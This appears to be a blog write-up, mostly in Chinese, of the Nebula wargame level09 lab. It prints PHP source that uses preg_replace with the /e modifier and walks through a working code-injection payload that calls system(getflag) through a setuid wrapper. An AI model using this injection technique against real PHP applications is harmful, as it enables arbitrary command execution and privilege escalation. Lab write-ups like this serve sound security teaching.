Nebula writesup level09

About
There’s a C setuid wrapper for some vulnerable PHP code…

To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
Source code

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

由于不熟悉php,刚开始摸索了半天如何运行。/home/flag09目录下有两个文件:带s标识的可执行文件flag09,和flag09.php原文件。
要运行程序有两个方法:
./flag09 <arg1> <arg2>
php flag09.php <arg1> <arg2> 程序的作用是把文件中的email字段做替换。
比如输入是:[email [email protected]]
则替换为:[email abc AT def dot com]
同时如果方括号[ ]单独出现,则会替换为尖括号<>,即:
[ email [email protected] ] 替换为 < email abc AT def dot com >


刚开始觉得程序中的use_me是个暗示。由于源程序并没有使用这个变量,猜测将自己的脚本挂在第二个参数的位置可能会被顺带以s权限运行。事实证明是错误的。
接着发现程序中的调用实际上是调用spam函数,如果spam函数可以被替换或者修改,就可以成功注入。在php文件中只要加入system("getflag");就可以执行系统调用,因此这条路似乎很有希望。但是由于不熟悉php也不明白正则表达,在此处卡死。
大神的回答 告诉我,

preg_replace第一个参数后使用了/e,即使用了/e模式,如果启用该模式,那么preg_replace的第二个参数将会被作为代码执行。前段时间Thinkphp也出现了这种漏洞。

在php变量引用中,如果双引号的字符串出现了“$变量名”或“${变量}”的形式,最终引用的是变量值。同样的思想,如果是函数,则引用的是函数的返回结果。

也就是说,如果将system()以字符串的方式,被当做需要替换的email地址传入spam函数,系统调用就会被执行。
因此构造一个带有system()的参数成为唯一的关键点。
答案是:
[email "{${system(getflag)}}"] 注意,虽然system("getflag")system(getflag)在单独语句中的效果是相同的,但在php中当做参数传入时,可能是因为无法嵌套两层双引号,会发生错误,因此此处必须只能用一层双引号。
接着运行如下拿到flag:

level09@nebula: /tmp$ /home/flag09/flag09 getscript.txt abc
Comments
Write a Comment
'